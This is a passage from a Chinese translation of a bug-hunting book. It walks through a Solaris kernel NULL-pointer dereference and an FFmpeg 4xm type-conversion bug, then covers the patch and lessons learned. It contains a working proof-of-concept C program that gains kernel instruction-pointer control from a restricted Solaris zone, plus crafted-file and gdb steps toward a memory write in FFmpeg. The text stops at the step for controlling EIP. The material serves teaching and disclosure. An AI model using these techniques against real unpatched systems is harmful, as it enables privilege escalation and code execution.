示例 3-2.用于控制 EIP/RIP 并因此实现内核任意代码执行的 POC 代码(poc2.c)。
01 #include <string.h>
02 #include <stdio.h>
03 #include <unistd.h>
04 #include <fcntl.h>
05 #include <sys/syscall.h>
06 #include <sys/sockio.h>
07 #include <net/if.h>
08 #include <sys/mman.h>
09
10 ////////////////////////////////////////////////
11 // Map the zero page and fill it with the
12 // necessary data
13 int
14 map_null_page (void)
15 {
16 void * mem = (void *)-1;
17
18 // map the zero page
19 mem = mmap (NULL, PAGESIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
20 MAP_FIXED|MAP_PRIVATE|MAP_ANON, −1, 0);
21
22 if (mem != NULL) {
23 printf ("failed\n");
24 fflush (0);
25 perror ("[-] ERROR: mmap");
26 return 1;
27 }
28
29 // fill the zero page with zeros
30 memset (mem, 0x00, PAGESIZE);
31
32 ////////////////////////////////////////////////
33 // zero page data
34
35 // qi->qi_putp
36 *(unsigned long long *)0x00 = 0x0000000041414141;
37
38 // ipif->ipif_ill
39 *(unsigned long long *)0x08 = 0x0000000000000010;
40
41 // start of ill struct (ill->ill_ptr)
42 *(unsigned long long *)0x10 = 0x0000000000000000;
43
44 // ill->rq
45 *(unsigned long long *)0x18 = 0x0000000000000000;
46
47 // ill->wq (sets address for qp struct)
48 *(unsigned long long *)0x20 = 0x0000000000000028;
49
50 // start of qp struct (qp->q_info)
51 *(unsigned long long *)0x28 = 0x0000000000000000;
52
53 // qp->q_first
54 *(unsigned long long *)0x30 = 0x0000000000000000;
55
56 // qp->q_last
57 *(unsigned long long *)0x38 = 0x0000000000000000;
58
59 // qp->q_next (points to the start of qp struct)
60 *(unsigned long long *)0x40 = 0x0000000000000028;
61
62 // qp->q_syncq
63 *(unsigned long long *)0xa0 = 0x00000000000007d0;
64
65 return 0;
66 }
67
68 void
69 status (void)
70 {
71 unsigned long long i = 0;
72
73 printf ("[+] PAGESIZE: %d\n", (int)PAGESIZE);
74 printf ("[+] Zero page data:\n");
75
76 for (i = 0; i <= 0x40; i += 0x8)
77 printf ("... 0x%02x: 0x%016llx\n", i, *(unsigned long long*)i);
78
79 printf ("... 0xa0: 0x%016llx\n", *(unsigned long long*)0xa0);
80
81 printf ("[+] The bug will be triggered in 2 seconds..\n");
82
83 fflush (0);
84 }
85
86 int
87 main (void)
88 {
89 int fd = 0;
90 char data[32];
91
92 ////////////////////////////////////////////////
93 // Opening the '/dev/arp' device
94 printf ("[+] Opening '/dev/arp' device .. ");
95
96 fd = open ("/dev/arp", O_RDWR);
97
98 if (fd < 0) {
99 printf ("failed\n");
100 fflush (0);
101 perror ("[-] ERROR: open");
102 return 1;
103 }
104
105 printf ("OK\n");
106
107 ////////////////////////////////////////////////
108 // Map the zero page
109 printf ("[+] Trying to map zero page .. ");
110
111 if (map_null_page () == 1) {
112 return 1;
113 }
114
115 printf ("OK\n");
116
117 ////////////////////////////////////////////////
118 // Status messages
119 status ();
120 sleep (2);
121
122 ////////////////////////////////////////////////
123 // IOCTL request data (interface name with invalid alias ':01')
124 data[0] = 0x3a; // colon
125 data[1] = 0x30; // ASCII zero
126 data[2] = 0x31; // the digit '1'
127 data[3] = 0x00; // NULL termination
128
129 ////////////////////////////////////////////////
130 // IOCTL request
131 syscall (SYS_ioctl, fd, SIOCGTUNPARAM, data);
132
133 printf ("[-] ERROR: triggering the NULL ptr deref failed\n");
134 close (fd);
135
136 return 0;
137 }
在 示例 3-2") 的第 19 行,零页通过 mmap() 进行映射。但 POC 代码中最有趣的部分是零页数据的布局(见第 32-63 行)。图 3-6 展示了该布局的相关部分。

图 3-6. 零页数据布局
图 3-6 的左侧显示了零页的偏移量。中间列出了零页的实际值。右侧显示了内核对零页的引用。表 3-1 描述了 图 3-6 中展示的零页数据布局。
表 3-1. 零页数据布局描述
| 函数/代码行 | 内核引用的数据 | 描述 |
|---|---|---|
ip_sioctl_tunparam()9432 |
ill = ipif-> ipif_ill; |
ipif 是 NULL,ipif_ill 在 ipif 结构体中的偏移量是 0x8。因此,ipif->ipif_ill 引用地址 0x8。地址 0x8 中的值被分配给 ill。所以 ill 结构体从地址 0x10 开始(见 图 3-6 中的(1))。 |
ip_sioctl_tunparam()9446 |
putnext(ill-> ill_wq, mp1); |
ill->ill_wq 的值用作 putnext() 的参数。ill_wq 在 ill 结构体中的偏移量是 0x10。ill 结构体从地址 0x10 开始,因此 ill->ill_wq 在地址 0x20 处被引用。 |
putnext()147 |
putnext(queue_t *qp, mblk_t *mp) |
qp 的地址等于 ill->ill_wq 指向的值。因此,qp 从地址 0x28 开始(见 图 3-6 中的(2))。 |
putnext()176 |
qp = qp->q_next; |
q_next 在 qp 结构体中的偏移量是 0x18。因此,下一个 qp 被分配从地址 0x40: 开始的值,即 qp 的起始地址(0x28)加上 q_next 的偏移量(0x18)。地址 0x40 中的值再次是 0x28,所以下一个 qp 结构体从与之前相同的地址开始(见 图 3-6 中的(3))。 |
putnext()177 |
sq = qp->q_syncq; |
q_syncq 在 qp 结构中的偏移量是 0x78。由于 q_syncq 在之后被引用,它必须指向一个有效的内存地址。我选择了 0x7d0,这是一个映射零页中的地址。 |
putnext()180 |
qi = qp->q_qinfo; |
qp->q_qinfo 的值被分配给 qi。q_qinfo 在 qp 结构中的偏移量是 0x0。由于 qp 结构从地址 0x28 开始,值 0x0 被分配给 qi(参见图 3-6 中的(4))。 |
putnext()273 |
putproc = qi-> qi_putp; |
qi->qi_putp 的值被分配给函数指针 putproc。qi_putp 在 qi 结构中的偏移量是 0x0。因此,qi->qi_putp 在地址 0x0 处被引用,并且该地址的值(0x0000000041414141)被分配给函数指针。 |
我随后以无特权的用户身份在受限的非全局 Solaris Zone 中编译并测试了 POC 代码:
solaris$ `isainfo -b`
64
solaris$ `id`
uid=100(wwwuser) gid=1(other)
solaris$ `zonename`
wwwzone
solaris$ `ppriv -S $$`
1422: -bash
flags = <none>
E: basic
I: basic
P: basic
L: zone
solaris$ `/usr/sfw/bin/gcc -m64 -o poc2 poc2.c`
solaris$ `./poc2`
[+] Opening '/dev/arp' device .. OK
[+] Trying to map zero page .. OK
[+] PAGESIZE: 4096
[+] Zero page data:
... 0x00: 0x0000000041414141
... 0x08: 0x0000000000000010
... 0x10: 0x0000000000000000
... 0x18: 0x0000000000000000
... 0x20: 0x0000000000000028
... 0x28: 0x0000000000000000
... 0x30: 0x0000000000000000
... 0x38: 0x0000000000000000
... 0x40: 0x0000000000000028
... 0xa0: 0x00000000000007d0
[+] The bug will be triggered in 2 seconds..
系统立即崩溃并重新启动。重启后,我检查了内核崩溃文件(有关以下调试器命令的描述,请参阅 B.1 节):
solaris# `id`
uid=0(root) gid=0(root)
solaris# `hostname`
bob
solaris# `cd /var/crash/bob/`
solaris# `ls`
bounds unix.0 vmcore.0 unix.1 vmcore.1
solaris# `mdb unix.1 vmcore.1`
Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc
pcplusmp ufs ip hook neti sctp arp usba fcp fctl nca lofs mpt zfs
audiosup md cpc random crypto fcip logindmux ptm sppp nfs ]
> `::msgbuf`
[..]
panic[cpu0]/thread=ffffffff8816c120:
BAD TRAP: type=e (#pf Page fault) rp=fffffe800029f530
`addr=41414141` occurred in module
"<unknown>" due to an illegal access to a user address
poc2:
#pf Page fault
`Bad kernel fault at addr=0x41414141`
pid=1404, `pc=0x41414141`, sp=0xfffffe800029f628, eflags=0x10246
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmme,fxsr,pge,pae,pse>
cr2: 41414141 cr3: 1782a000 cr8: c
rdi: 28 rsi: ffffffff81700380 rdx: ffffffff8816c120
rcx: 0 r8: 0 r9: 0
rax: 0 rbx: 0 rbp: fffffe800029f680
r10: 1 r11: 0 r12: 7d0
r13: 28 r14: ffffffff81700380 r15: 0
fsb: fffffd7fff220200 gsb: fffffffffbc27fc0 ds: 0
es: 0 fs: 1bb gs: 0
trp: e err: 10 `rip: 41414141`
cs: 28 rfl: 10246 rsp: fffffe800029f628
ss: 30
fffffe800029f440 unix:die+da ()
fffffe800029f520 unix:trap+5e6 ()
fffffe800029f530 unix:_cmntrap+140 ()
`fffffe800029f680 41414141 ()`
fffffe800029f6d0 ip:ip_sioctl_tunparam+ee ()
fffffe800029f780 ip:ip_process_ioctl+280 ()
fffffe800029f820 ip:ip_wput_nondata+970 ()
fffffe800029f910 ip:ip_output_options+537 ()
fffffe800029f920 ip:ip_output+10 ()
fffffe800029f940 ip:ip_wput+37 ()
fffffe800029f9a0 unix:putnext+1f1 ()
fffffe800029f9d0 arp:ar_wput+9d ()
fffffe800029fa30 unix:putnext+1f1 ()
fffffe800029fab0 genunix:strdoioctl+67b ()
fffffe800029fdd0 genunix:strioctl+620 ()
fffffe800029fdf0 specfs:spec_ioctl+67 ()
fffffe800029fe20 genunix:fop_ioctl+25 ()
fffffe800029ff00 genunix:ioctl+ac ()
fffffe800029ff10 unix:brand_sys_syscall+21d ()
syncing file systems...
done
dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel
`> $c`
`0x41414141()`
ip_sioctl_tunparam+0xee()
ip_process_ioctl+0x280()
ip_wput_nondata+0x970()
ip_output_options+0x537()
ip_output+0x10()
ip_wput+0x37()
putnext+0x1f1()
ar_wput+0x9d()
putnext+0x1f1()
strdoioctl+0x67b()
strioctl+0x620()
spec_ioctl+0x67()
fop_ioctl+0x25()
ioctl+0xac()
sys_syscall+0x17b()
这次,系统崩溃了,因为内核试图在地址 0x41414141(RIP 寄存器的值,如上图中调试器输出所示,加粗显示)处执行代码。这意味着我已经成功获得了对 EIP/RIP 的完全控制。
使用正确的利用有效载荷,这个漏洞可以被用来从受限的非全局 Solaris Zone 中逃逸,然后在全局区域中获得超级用户权限。
由于我家乡的严格法律,我无法向您提供完整的有效利用程序。但是,如果您感兴趣,您可以去本书的网站观看我录制的一段视频,展示了该利用程序的实际操作.^([34])
3.3 漏洞修复
注意
星期四,2008 年 6 月 12 日
在我向 Sun 报告了该错误之后,它开发了以下补丁来解决这个问题:^([35])
[..]
19165 if (*cp == IPIF_SEPARATOR_CHAR) {
19166 /*
19167 * Reject any non-decimal aliases for logical
19168 * interfaces. Aliases with leading zeroes
19169 * are also rejected as they introduce ambiguity
19170 * in the naming of the interfaces.
19171 * In order to confirm with existing semantics,
19172 * and to not break any programs/script relying
19173 * on that behaviour, if<0>:0 is considered to be
19174 * a valid interface.
19175 *
19176 * If alias has two or more digits and the first
19177 * is zero, fail.
19178 */
19179 if (&cp[2] < endp && cp[1] == '0') {
`19180 if (error != NULL)`
`19181 *error = EINVAL;`
19182 return (NULL);
19183 }
[..]
为了修复这个漏洞,Sun 在 ipif_lookup_on_name() 的第 19180 行和第 19181 行引入了新的错误定义。这成功地防止了空指针解引用的发生。尽管这项措施纠正了本章中描述的漏洞,但它并没有解决基本问题。ipif_lookup_on_name() 函数以及其他内核函数仍然以两种不同的方式向它们的调用函数报告错误条件,因此如果 API 没有被小心使用,很可能再次出现类似的漏洞。Sun 本应该更改 API 以防止未来的漏洞,但它没有这样做。
3.4 经验教训
作为一名程序员:
-
总是定义适当的错误条件。
-
总是正确验证返回值。
-
并非所有内核空指针解引用都是简单的拒绝服务条件。其中一些确实是严重的漏洞,可能导致任意代码执行。
作为系统管理员:
- 不要盲目相信区域、组件、细粒度访问控制或虚拟化。如果内核中存在漏洞,那么几乎每个安全特性都有可能被绕过或规避。这不仅仅适用于 Solaris Zones。
3.5 补遗
备注
周三,2008 年 12 月 17 日
由于漏洞已修复且提供了 Solaris 的补丁,我今天在我的网站上发布了一份详细的安全警告。^([[36])] 该漏洞被分配了 CVE-2008-568。Sun 公司用了 471 天 才提供了其操作系统的修复版本(见 图 3-7)。这简直是一个难以置信的漫长时间!

图 3-7. 从通知到发布修复操作系统的时序图
备注
^([23])
^([24])
^([25])
^([26])
^([27])
^([28])
^([29])
^([30])
^([31])
^([32])
^([33])
^([34])
^([35])
^([36])
^([23]) OpenSolaris 的源代码可在 dlc.sun.com/osol/on/downloads/ 下载。
^([24]) 请参阅 en.wikipedia.org/wiki/Ioctl。
^([25]) 关于 IP-in-IP 隧道机制的更多信息,请参阅 download.oracle.com/docs/cd/E19455-01/806-0636/6j9vq2bum/index.html。
^([26]) 请参阅 Sun Microsystems Inc. 的 STREAMS 编程指南,可在 download.oracle.com/docs/cd/E19504-01/802-5893/802-5893.pdf 下载。
^([27]) OpenGrok 源代码浏览器参考 of OpenSolaris:cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/sys/stream.h?r=4823%3A7c9aaea16585.
^([28]) OpenSolaris 的 OpenGrok 源代码浏览器参考:cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip.c?r=4823%3A7c9aaea16585.
^([29]) OpenSolaris 的 OpenGrok 源代码浏览器参考:cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c?r=5240%3Ae7599510dd03。
^([30]) 官方的 Solaris 模块化调试指南 可以在 dlc.sun.com/osol/docs/content/MODDEBUG/moddebug.html 找到。
^([31]) 更多信息,请参阅 twiz & sgrakkyu 撰写的论文“攻击核心:内核利用笔记”,可在 www.phrack.com/issues.html?issue=64&id=6 找到。
^([32]) 关于 Solaris 进程虚拟地址空间的信息可以在 cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/i86pc/os/startup.c?r=10942:eaa343de0d06 找到。
^([33]) OpenSolaris 的 OpenGrok 源代码浏览器参考:cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/os/putnext.c?r=0%3A68f95e015346。
^([34]) 请参阅 www.trapkit.de/books/bhd/。
^([35]) Sun 提供的补丁可以在 cvs.opensolaris.org/source/diff/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c?r1=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@5240&r2=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@5335&format=s&full=0 找到。
^([36]) 描述 Solaris 内核漏洞详细信息的我的安全公告可以在 www.trapkit.de/advisories/TKADV2008-015.txt 找到。
第四章:空指针 FTW
注意
2009 年 1 月 24 日,星期六
亲爱的日记,
今天我发现了一个非常漂亮的漏洞:一个类型转换漏洞,导致空指针解引用(参见附录 A.2)。在正常情况下,这不会是什么大问题,因为这个漏洞影响的是一个用户空间库,通常意味着最坏的情况是会崩溃一个用户空间应用程序。但这个漏洞与普通的用户空间空指针解引用不同,并且可以利用这个漏洞执行任意代码。
该漏洞影响了许多流行软件项目使用的 FFmpeg 多媒体库,包括 Google Chrome、VLC 媒体播放器、MPlayer 和 Xine 等。还有传言称 YouTube 使用 FFmpeg 作为后端转换软件。37
注意
还有其他可利用的用户空间空指针解引用的例子。参见 Mark Dowd 的 MacGyver 漏洞利用 Flash (blogs.iss.net/archive/flash.html) 或 Justin Schuh 的 Firefox 漏洞 (blogs.iss.net/archive/cve-2008-0017.html)。
4.1 漏洞发现
为了找到这个漏洞,我做了以下几步:
-
第 1 步:列出 FFmpeg 的解复用器。
-
第 2 步:识别输入数据。
-
第 3 步:追踪输入数据。
第 1 步:列出 FFmpeg 的解复用器
在从 FFmpeg SVN 仓库获取最新源代码修订版后,我生成了一个列表,列出了包含在 FFmpeg 中的 libavformat 库中可用的解复用器(参见图 4-1)。我注意到 FFmpeg 将大多数解复用器分别放在目录 libavformat/ 下的不同 C 文件中。

图 4-1. FFmpeg libavformat 解复用器
注意
FFmpeg 开发已转移到 Git 仓库,38,SVN 仓库不再更新。现在可以从本书的网站上下载受影响的 FFmpeg 源代码修订版(SVN-r16556)。39
第 2 步:识别输入数据
接下来,我试图识别解复用器处理的输入数据。在阅读源代码时,我发现大多数解复用器声明了一个名为 demuxername_read_header() 的函数,该函数通常接受 AVFormatContext 类型的参数。这个函数声明并初始化了一个看起来像这样的指针:
[..]
ByteIOContext *pb = s->pb;
[..]
许多不同的 get_something 函数(例如,get_le32()、get_buffer())和特殊宏(例如,AV_RL32、AV_RL16)随后被用来提取由 pb 指向的数据的部分。在此阶段,我相当确信 pb 必须是指向正在处理的媒体文件输入数据的指针。
第 3 步:追踪输入数据
我决定通过在源代码级别跟踪每个解复用器的输入数据来寻找错误。我从列表中的第一个解复用器文件开始,称为4xm.c。在审计 4X 电影文件格式的解复用器时(^([40])),我发现了下述列表中显示的漏洞。
源代码文件
libavformat/4xm.c
函数
fourxm_read_header()
[..]
93 static int fourxm_read_header(AVFormatContext *s,
94 AVFormatParameters *ap)
95 {
`96 ByteIOContext *pb = s->pb;`
..
`101 unsigned char *header;`
..
`103 int current_track = −1;`
..
`106 fourxm->track_count = 0;`
`107 fourxm->tracks = NULL;`
..
120 /* allocate space for the header and load the whole thing */
`121 header = av_malloc(header_size);`
122 if (!header)
123 return AVERROR(ENOMEM);
`124 if (get_buffer(pb, header, header_size) != header_size)`
125 return AVERROR(EIO);
..
`160 } else if (fourcc_tag == strk_TAG) {`
161 /* check that there is enough data */
162 if (size != strk_SIZE) {
163 av_free(header);
164 return AVERROR_INVALIDDATA;
165 }
`166 current_track = AV_RL32(&header[i + 8]);`
`167 if (current_track + 1 > fourxm->track_count) {`
168 fourxm->track_count = current_track + 1;
169 if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack))
170 return −1;
`171 fourxm->tracks = av_realloc(fourxm->tracks,`
`172 fourxm->track_count * sizeof(AudioTrack));`
173 if (!fourxm->tracks) {
174 av_free(header);
175 return AVERROR(ENOMEM);
176 }
177 }
`178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);`
`179 fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);`
`180 fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);`
`181 fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);`
[..]
第 124 行的get_buffer()函数将输入数据从处理过的媒体文件复制到由header指向的堆缓冲区(见第 101 和 121 行)。如果媒体文件包含所谓的strk数据块(见第 160 行),第 166 行的AV_RL32()宏从头部数据中读取一个无符号整数值并将其存储在带符号整型变量current_track(见第 103 行)中。将媒体文件中的用户控制的无符号整数值转换为带符号整型可能会导致转换错误!我的兴趣被激发,我继续在代码中搜索,兴奋地认为自己可能找到了一些东西。
第 167 行的if语句检查用户控制的current_track + 1的值是否大于fourxm->track_count。带符号整型变量fourxm->track_count被初始化为 0(见第 106 行)。为current_track提供值>= 0x80000000会导致符号变化,使得current_track被解释为负数(要了解原因,请参阅第 A.3 节)。如果current_track被解释为负数,第 167 行的if语句将始终返回false(因为带符号整型变量fourxm->track_count的值为零),并且第 171 行的缓冲区分配永远不会被执行。显然,将那个用户控制的无符号整型转换为带符号整型是一个糟糕的主意。
由于fourxm->tracks被初始化为NULL(见第 107 行)且第 171 行永远不会被执行,因此第 178 至 181 行的写操作导致了四个空指针解引用。因为NULL是通过用户控制的current_track值解引用的,所以有可能在广泛的内存位置写入用户控制的数据。
注意
可能你不会从技术上称这为空指针的“解引用”,因为我实际上并没有解引用 NULL,而是位于从 NULL 开始的用户控制偏移量处的不存在结构。最终这取决于你如何定义术语空指针解引用。
FFmpeg 的预期行为如图 4-2 所示(见 ch04.html#expected_behavior_when_ffmpeg_operates_n "图 4-2. FFmpeg 正常运行时的预期行为")如下:
-
fourxm->tracks被初始化为NULL(见第 107 行)。 -
如果处理过的媒体文件包含一个
strk数据块,current_track的值将从数据块的用户控制数据中提取出来(见第 166 行)。 -
如果
current_track + 1的值大于零,则分配堆缓冲区。 -
由
fourxm->tracks指向的堆缓冲区被分配(见第 171 和 172 行)。 -
媒体文件中的数据被复制到堆缓冲区,同时
current_track被用作缓冲区中的数组索引(见第 178-181 行)。 -
当这种行为发生时,没有安全问题。

图 4-2. FFmpeg 正常操作时的预期行为
图 4-3 展示了当此漏洞影响 FFmpeg 时会发生什么:
-
fourxm->tracks使用NULL初始化(见第 107 行)。 -
如果处理过的媒体文件包含
strk块,则从块的用户控制数据中提取current_track的值(见第 166 行)。 -
如果
current_track + 1的值小于零,则堆缓冲区不会被分配。 -
fourxm->tracks仍然指向内存地址NULL。 -
然后使用用户控制的
current_track值解引用该空指针,并将四个 32 位用户控制的数据字节分配给解引用的位置(见第 178-181 行)。 -
可以用四个用户控制的字节覆盖四个用户控制的内存位置。

图 4-3. FFmpeg 导致内存损坏的意外行为
多么漂亮的漏洞啊!
4.2 漏洞利用
为了利用这个漏洞,我做了以下操作:
注意
该漏洞影响 FFmpeg 支持的所有操作系统平台。我在本章中使用的平台是 Ubuntu Linux 9.04(32 位)的默认安装。
-
第 1 步:找到一个具有有效
strk块的 4X 电影文件样本。 -
第 2 步:了解
strk块的布局。 -
第 3 步:操纵
strk块以使 FFmpeg 崩溃。 -
第 4 步:操纵
strk块以控制EIP。
利用文件格式漏洞有不同的方法。我可以从头开始创建一个具有正确格式的文件,或者修改一个现有的文件。我选择了后者。我使用网站samples.mplayerhq.hu/找到一个适合测试此漏洞的 4X 电影文件。我自己也可以构建一个文件,但下载一个现成的文件既快又简单。
第 1 步:找到一个具有有效 strk 块的 4X 电影文件样本
我使用以下方法从samples.mplayerhq.hu/获取样本文件。
linux$ `wget -q http://samples.mplayerhq.hu/ga`
`me-formats/4xm/`
→ `TimeGatep01s01n01a02_2.4xm`
下载文件后,我将它重命名为original.4xm。
第 2 步:了解 strk 块的布局
根据 4X 电影文件格式描述,strk块具有以下结构:
bytes 0-3 fourcc: 'strk'
bytes 4-7 length of strk structure (40 or 0x28 bytes)
bytes 8-11 track number
bytes 12-15 audio type: 0 = PCM, 1 = 4X IMA ADPCM
bytes 16-35 unknown
bytes 36-39 number of audio channels
bytes 40-43 audio sample rate
bytes 44-47 audio sample resolution (8 or 16 bits)
下载的样本文件的strk块从文件偏移0x1a6开始,如图图 4-4 所示:

图 4-4. 从我下载的 4X 电影样本文件中提取的strk数据块。图中显示的数字在表 4-1 中有引用。
表 4-1 描述了图 4-4 中展示的strk数据块的布局。图 4-4。
表 4-1. 表 4-1. 图 4-4 中展示的 strk 数据块布局。图 4-4
| 参考 | 头部偏移量 | 描述 |
|---|---|---|
| (1) | &header[i] |
fourcc: 'strk' |
| (2) | &header[i+4] |
strk结构体的长度(0x28字节) |
| (3) | &header[i+8] |
轨道号(这是 FFmpeg 源代码中的current_track变量) |
| (4) | &header[i+12] |
音频类型(这是写入第一个解引用内存位置的值) |
为了利用这个漏洞,我知道我需要设置&header[i+8](对应于 FFmpeg 源代码中的current_track)处的轨道号值以及&header[i+12]处的音频类型值。如果设置正确,音频类型的值将被写入内存位置NULL + track number,这等同于NULL + current_track。
总结来说,来自 FFmpeg 源代码的(几乎)任意内存写入操作如下:
[..]
178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
179 fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
180 fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);
181 fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
[..]
并且每个都对应以下伪代码:
NULL[user_controlled_value].offset = user_controlled_data;
第 3 步:操纵 strk 数据块以使 FFmpeg 崩溃
注意
编译 FFmpeg:linux$ ./configure; make 这些命令将编译 FFmpeg 的两个不同版本的二进制文件:
-
ffmpeg 不带调试符号的二进制文件
-
ffmpeg_g 带有调试符号的二进制文件
在编译了有漏洞的 FFmpeg 源代码修订版 16556 之后,我尝试将 4X 电影转换为 AVI 文件,以验证编译是否成功以及 FFmpeg 是否工作正常。
linux$ `./ffmpeg_g -i original.4xm original.avi`
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12\. 0 / 49.12\. 0
libavcodec 52.10\. 0 / 52.10\. 0
libavformat 52.23\. 1 / 52.23\. 1
libavdevice 52\. 1\. 0 / 52\. 1\. 0
built on Jan 24 2009 02:30:50, gcc: 4.3.3
Input #0, 4xm, from 'original.4xm':
Duration: 00:00:13.20, start: 0.000000, bitrate: 704 kb/s
Stream #0.0: Video: 4xm, rgb565, 640x480, 15.00 tb(r)
Stream #0.1: Audio: pcm_s16le, 22050 Hz, stereo, s16, 705 kb/s
Output #0, avi, to 'original.avi':
Stream #0.0: Video: mpeg4, yuv420p, 640x480, q=2-31, 200 kb/s, 15.00 tb(c)
Stream #0.1: Audio: mp2, 22050 Hz, stereo, s16, 64 kb/s
Stream mapping:
Stream #0.0 -> #0.0
Stream #0.1 -> #0.1
Press [q] to stop encoding
frame= 47 fps= 0 q=2.3 Lsize= 194kB time=3.08 bitrate= 515.3kbits/s
video:158kB audio:24kB global headers:0kB muxing overhead 6.715897%
接下来,我修改了样本文件中strk数据块的轨道号以及音频类型的值。
如图 4-5 所示,我将轨道号的值更改为0xaaaaaaaa(1)并将音频类型的值更改为0xbbbbbbbb(2)。我将新文件命名为poc1.4xm并尝试使用 FFmpeg 进行转换(有关以下调试命令的描述,请参阅 B.4 节)。

图 4-5. 在我修改后,样本文件的 strk 块。我做的更改被突出显示并框出,上面显示的数字在上面的文本中有所引用。
linux$ `gdb ./ffmpeg_g`
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) `set disassembly-flavor intel`
(gdb) `run -i poc1.4xm`
Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poc1.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12\. 0 / 49.12\. 0
libavcodec 52.10\. 0 / 52.10\. 0
libavformat 52.23\. 1 / 52.23\. 1
libavdevice 52\. 1\. 0 / 52\. 1\. 0
built on Jan 24 2009 02:30:50, gcc: 4.3.3
`Program received signal SIGSEGV, Segmentation fault.`
`0x0809c89d in fourxm_read_header (s=0x8913330,`
`ap=0xbf8b6c24) at libavformat/4xm.c:178`
`178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);`
如预期,FFmpeg 在源代码的第 178 行处崩溃,并产生段错误。我进一步在调试器中分析了 FFmpeg 进程,以查看导致崩溃的确切原因。
(gdb) `info registers`
`eax 0xbbbbbbbb` −1145324613
ecx 0x891c400 143770624
edx 0x0 0
`ebx 0xaaaaaaaa` −1431655766
esp 0xbf8b6aa0 0xbf8b6aa0
ebp 0x55555548 0x55555548
esi 0x891c3c0 143770560
edi 0x891c340 143770432
eip 0x809c89d 0x809c89d <fourxm_read_header+509>
eflags 0x10207 [ CF PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
在崩溃发生时,寄存器 EAX 和 EBX 中填充了我为 audio type (0xbbbbbbbb) 和 track number (0xaaaaaaaa) 输入的值。接下来,我要求调试器显示 FFmpeg 执行的最后一个指令:
(gdb) `x/1i $eip`
0x809c89d <fourxm_read_header+509>: mov DWORD PTR [edx+ebp*1+0x10],eax
如调试器输出所示,导致段错误的指令试图使用我为 track number 提供的值计算出的地址写入值 0xbbbbbbbb。
为了控制内存写入,我需要知道写入操作的目标地址是如何计算的。我通过查看以下汇编代码找到了答案:
(gdb) `x/7i $eip - 21`
0x809c888 <fourxm_read_header+488>: lea ebp,[ebx+ebx*4]
0x809c88b <fourxm_read_header+491>: mov eax,DWORD PTR [esp+0x34]
0x809c88f <fourxm_read_header+495>: mov edx,DWORD PTR [esi+0x10]
0x809c892 <fourxm_read_header+498>: mov DWORD PTR [esp+0x28],ebp
0x809c896 <fourxm_read_header+502>: shl ebp,0x2
0x809c899 <fourxm_read_header+505>: mov eax,DWORD PTR [ecx+eax*1+0xc]
0x809c89d <fourxm_read_header+509>: mov DWORD PTR [edx+ebp*1+0x10],eax
这些指令对应于以下 C 源代码行:
[..]
178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
[..]
表 4-2 解释了这些指令的结果。
由于 EBX 包含我为 current_track 提供的值,而 EDX 包含 fourxm->tracks 的空指针,因此计算可以表示为以下内容:
edx + ((ebx + ebx * 4) << 2) + 0x10 = destination address of the write operation
表 4-2. 汇编指令列表及其结果
| 指令 | 结果 |
|---|---|
lea ebp,[ebx+ebx*4] |
ebp = ebx + ebx * 4(EBX 寄存器包含用户定义的 current_track 的值 (0xaaaaaaaa)。) |
mov eax,DWORD PTR [esp+0x34] |
eax = 数组索引 i |
mov edx,DWORD PTR [esi+0x10] |
edx = fourxm->tracks |
shl ebp,0x2 |
ebp = ebp << 2 |
mov eax,DWORD PTR [ecx+eax*1+0xc] |
eax = AV_RL32(&header[i + 12]); 或 eax = ecx[eax + 0xc]; |
mov DWORD PTR [edx+ebp*1+0x10],eax |
fourxm->tracks[current_track].adpcm = eax; 或 edx[ebp + 0x10] = eax; |
或者以更简化的形式:
edx + (ebx * 20) + 0x10 = destination address of the write operation
我为 current_track (EBX 寄存器) 提供了 0xaaaaaaaa 的值,所以计算应该如下所示:
NULL + (0xaaaaaaaa * 20) + 0x10 = 0x55555558
可以通过调试器确认 0x55555558 的结果:
(gdb) `x/1x $edx+$ebp+0x10`
0x55555558: Cannot access memory at address 0x55555558
第 4 步:操纵 strk 块以控制 EIP
